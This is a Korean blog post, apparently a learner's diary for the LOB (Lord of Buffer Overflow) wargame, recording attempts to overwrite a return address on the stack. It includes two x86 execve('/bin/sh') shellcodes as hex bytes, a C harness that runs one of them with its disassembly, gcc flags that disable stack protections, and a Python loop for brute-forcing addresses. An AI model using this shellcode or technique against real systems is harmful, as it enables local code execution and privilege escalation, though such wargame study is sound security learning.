한땀한땀 정성들인 코딩
LOB 문제풀이 일기(2) 본문
다시 디버깅으로 확인
0xbffffb3c = 명령어 ret를 호출하기 직전의 esp
0xbffffa38 = 위의 esp위치에서 4byte(sfp) + 256byte(char buf의 크기)를 더한값
?? 0xbffffa88이 아니라 0xbffffa38로 나오는데 정확한 이유는 잘 모르겠다. 48byte가 오차가 나긴하는데 ASLR이 안걸린건 확실하고 컴파일 마다 스택 논리주소가 변형이 되거나 우분투 자체를 온오프 할 때 변형이되거나(이건 아닌거 같다..) 하여간 오차값이 그리 크지 않아서 별문제는 없어보인다.
결론은 이 주소로 RET에 넣어도(적당히 4byte씩 더하면서 더 테스트 해봣다.) 쉘코드는 안 먹힌다.
메모리가 그리 큰것도 아니고 ;; 가상환경 메모리는 1gb정도다.
이쯤 되면 쉘코드가 의심스러워 진다. 쉘코드가 유효한지 아는 방법을 모르기에 구글링을 시작한다.
b8 2f 73 68 f0 c1 e0 04 c1 e8 04 50 68 2f 62 69 6e 31 d2 31 c9 89 e3 b8 0b f0 f0 f0 c1 e0 18 c1 e8 18 cd 80
모 유효성 검증 방법은 딱히 없고 ….. 그냥 어셈블리 명령어 쳤을떄 쉘 뜨면된다…
우부투에서 뜨는 것을 확인했으니 문제는 없어 보인다.
구글에서 나오는 다른 쉘들을 써봤지만 안되는 건 마찬가지다..
- 쉘코드에 딱히 문제는 없어 보인다.
그럼 역시 문제는 esp위치인데 이걸 반복적으로 제대로 떄려박아야 된다. .
그전에 python 문법 공부를 좀 해야 되는데 python으로 “\x65” = e출력 이렇게 되야 데는데;;
즉 ( 근데 이거 내장 python 버전 대가 1.xx다. ㅋㅋㅋ )
adr = “\xfa\xff\xbf” for i in range(0,50): print adr+chr(i)
|
chr로 숫자를 봐꾸면 1byte 문자가 된다.
그냥 무식하게 돌려 주었는데 돌아가지 않는다….
내일 grem2를 동적 디버깅으로 재확인 해야겠다 . ,,,
0xbffffa58 x/x
0xbffff97c
0xbffffba8
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
<-인터넷에서 주워온 작동하는 25byte 쉘코드
#include <stdio.h>
unsigned char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main() { int (*ret)() = (int(*)())code; ret(); } |
0x0804a018 <+0>: xor eax,eax 0x0804a01a <+2>: push eax 0x0804a01b <+3>: push 0x68732f2f 0x0804a020 <+8>: push 0x6e69622f 0x0804a025 <+13>: mov ebx,esp 0x0804a027 <+15>: push eax 0x0804a028 <+16>: mov edx,esp 0x0804a02a <+18>: push ebx 0x0804a02b <+19>: mov ecx,esp 0x0804a02d <+21>: mov al,0xb 0x0804a02f <+23>: int 0x80 |
컴파일 옵션
gcc -m32 -fno-stack-protector -z execstack -o disas disas.c
쉘코드 -> 어셈블리어 변환용 이다.
내꺼와 비교해보니
execve(“/bin/sh”,”(/bin/sh”)문자열 주소의 주소? ,NULL의 주소)
execve(“/bin/sh”,”/bin/sh”,NULL)
그러니깐 정확히는
ebx = “/bin/sh” 문자열 주소값
ecx = “/bin/sh” 문자열 주소값의 주소값
edx = NULL의 주소
execve함수에 대해서 공부하자 ..
'보안 > LOB' 카테고리의 다른 글
LOB 문제풀이 일기(6) (0) | 2021.03.27 |
---|---|
LOB 문제풀이 일기(5) (0) | 2021.03.27 |
LOB 문제풀이 일기(4) (0) | 2021.03.27 |
LOB 문제풀이 일기(3) (0) | 2021.03.27 |
LOB 문제풀이 일기(1) (0) | 2021.03.27 |